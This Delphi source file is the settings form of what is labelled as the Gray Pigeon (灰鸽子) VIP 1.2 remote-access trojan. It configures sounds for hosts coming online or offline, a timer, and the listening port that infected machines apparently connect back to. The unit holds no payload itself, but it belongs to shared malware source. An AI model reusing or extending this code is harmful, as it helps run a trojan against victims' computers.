sysinf.pas

灰鸽子VIP1.2经典源代码

unit SysInf;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, DynamicSkinForm, SkinCtrls, StdCtrls, SkinBoxCtrls, ComCtrls,
  SkinTabs, Mask, ToolEdit,mmsystem, LangFrm;

type
  TSysShezhi = class(TLangForm)
    PageControl1: TspSkinPageControl;
    spDynamicSkinForm1: TspDynamicSkinForm;
    TabSheet1: TspSkinTabSheet;
    RadioBox1: TspSkinCheckRadioBox;
    Label1: TspSkinStdLabel;
    Label2: TspSkinStdLabel;
    Label3: TspSkinStdLabel;
    Label5: TspSkinStdLabel;
    Label4: TspSkinStdLabel;
    Button1: TspSkinButton;
    Button2: TspSkinButton;
    Button3: TspSkinButton;
    Button4: TspSkinButton;
    Button5: TspSkinButton;
    FilenameEdit1: TspSkinEdit;
    FilenameEdit2: TspSkinEdit;
    FilenameEdit3: TspSkinEdit;
    FilenameEdit4: TspSkinEdit;
    FilenameEdit5: TspSkinEdit;
    OpenDialog1: TOpenDialog;
    TabSheet2: TspSkinTabSheet;
    Label6: TspSkinStdLabel;
    TimerEdit: TspSkinEdit;
    Label7: TspSkinStdLabel;
    spSkinStdLabel3: TspSkinStdLabel;
    Label8: TspSkinStdLabel;
    PortEdit: TspSkinEdit;
    Button6: TspSkinButton;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure Button4Click(Sender: TObject);
    procedure Button5Click(Sender: TObject);
    procedure FilenameEdit1Change(Sender: TObject);
    procedure FilenameEdit2Change(Sender: TObject);
    procedure FilenameEdit3Change(Sender: TObject);
    procedure FilenameEdit4Change(Sender: TObject);
    procedure FilenameEdit5Change(Sender: TObject);
    procedure RadioBox1Click(Sender: TObject);
    procedure FilenameEdit1ButtonClick(Sender: TObject);
    procedure FilenameEdit2ButtonClick(Sender: TObject);
    procedure FilenameEdit3ButtonClick(Sender: TObject);
    procedure FilenameEdit4ButtonClick(Sender: TObject);
    procedure FilenameEdit5ButtonClick(Sender: TObject);
    procedure Button6Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  SysShezhi: TSysShezhi;

implementation
uses
  Main;
{$R *.dfm}

procedure TSysShezhi.Button1Click(Sender: TObject);
begin
try
sndplaysound('',snd_async);
sndplaysound(Pchar(FilenameEdit1.Text),snd_async);
except
end;
end;

procedure TSysShezhi.Button2Click(Sender: TObject);
begin
try
sndplaysound('',snd_async);
sndplaysound(Pchar(FilenameEdit2.Text),snd_async);
except
end;
end;

procedure TSysShezhi.Button3Click(Sender: TObject);
begin
try
sndplaysound('',snd_async);
sndplaysound(Pchar(FilenameEdit3.Text),snd_async);
except
end;
end;

procedure TSysShezhi.Button4Click(Sender: TObject);
begin
try
sndplaysound('',snd_async);
sndplaysound(Pchar(FilenameEdit4.Text),snd_async);
except
end;
end;

procedure TSysShezhi.Button5Click(Sender: TObject);
begin
try
sndplaysound('',snd_async);
sndplaysound(Pchar(FilenameEdit5.Text),snd_async);
except
end;
end;

procedure TSysShezhi.FilenameEdit1Change(Sender: TObject);
begin
try
  HgzVip.Myinifile.writestring('Operation', 'Sound1', FilenameEdit1.Text);
  HgzVip.OnSLine:= FilenameEdit1.Text;
except
end;
end;

procedure TSysShezhi.FilenameEdit2Change(Sender: TObject);
begin
try
  HgzVip.Myinifile.writestring('Operation', 'Sound2', FilenameEdit2.Text);
  HgzVip.OffSLine:=FilenameEdit2.Text;
except
end;
end;

procedure TSysShezhi.FilenameEdit3Change(Sender: TObject);
begin
try
  HgzVip.Myinifile.writestring('Operation', 'Sound3', FilenameEdit3.Text);
  HgzVip.UpIPok:=FilenameEdit3.Text;
except
end;
end;

procedure TSysShezhi.FilenameEdit4Change(Sender: TObject);
begin
try
  HgzVip.Myinifile.writestring('Operation', 'Sound4', FilenameEdit4.Text);
  HgzVip.FileSup:=FilenameEdit4.Text;
except
end;
end;

procedure TSysShezhi.FilenameEdit5Change(Sender: TObject);
begin
try
  HgzVip.Myinifile.writestring('Operation', 'Sound5', FilenameEdit5.Text);
  HgzVip.FileSDown:= FilenameEdit5.Text;
except
end;
end;

procedure TSysShezhi.RadioBox1Click(Sender: TObject);
begin
if RadioBox1.Checked then
  begin
   HgzVip.isSound:=True;
   HgzVip.Myinifile.writestring('Operation', 'OnSound','1')
  end else begin
   HgzVip.isSound:=True;
   HgzVip.Myinifile.writestring('Operation', 'OnSound','0');
  end;
end;

procedure TSysShezhi.FilenameEdit1ButtonClick(Sender: TObject);
begin
if OpenDialog1.Execute then
FilenameEdit1.Text:=OpenDialog1.FileName;
end;

procedure TSysShezhi.FilenameEdit2ButtonClick(Sender: TObject);
begin
if OpenDialog1.Execute then
FilenameEdit2.Text:=OpenDialog1.FileName;
end;

procedure TSysShezhi.FilenameEdit3ButtonClick(Sender: TObject);
begin
if OpenDialog1.Execute then
FilenameEdit3.Text:=OpenDialog1.FileName;
end;

procedure TSysShezhi.FilenameEdit4ButtonClick(Sender: TObject);
begin
if OpenDialog1.Execute then
FilenameEdit4.Text:=OpenDialog1.FileName;
end;

procedure TSysShezhi.FilenameEdit5ButtonClick(Sender: TObject);
begin
if OpenDialog1.Execute then
FilenameEdit5.Text:=OpenDialog1.FileName;
end;

procedure TSysShezhi.Button6Click(Sender: TObject);
var
  ii: string;
begin
try
  HgzVip.Myinifile.writestring('Operation', 'TimerOut', TimerEdit.Text);
  HgzVip.Timer4.Interval:=Strtoint(TimerEdit.Text);
except
  HgzVip.Timer4.Interval:=Strtoint(TimerEdit.Text);
  TimerEdit.Text:='20000';
end;
  try
    II:=HgzVip.Myinifile.Readstring('LocalPort', 'AutoSxport', '80');
    if ii<> PortEdit.text then
     begin
       HgzVip.AutoSxport:=StrtoInt(portEdit.text);
       HgzVip.Myinifile.writestring('LocalPort', 'AutoSxport',portEdit.text);
     try
       HgzVip.IdTCPServer1.Active :=False;
       HgzVip.IdTCPServer1.Bindings.Clear;
       HgzVip.IdTCPServer1.DefaultPort :=HgzVip.AutoSxport;
       HgzVip.IdTCPServer1.Active :=True;
     except
       Showmessage(Translate('ZhuanTai81','修改自动上线端口失败!无法打开端口: ')+inttostr(HgzVip.AutoSxport));
     end;
       Showmessage(Translate('ZhuanTai82','修改自动上线端口成功!'));
       HgzVip.SportEdit.Text := portEdit.text;
     end;
  except
    Showmessage(Translate('ZhuanTai83','修改自动上线端口失败!'));
  end;
end;

end.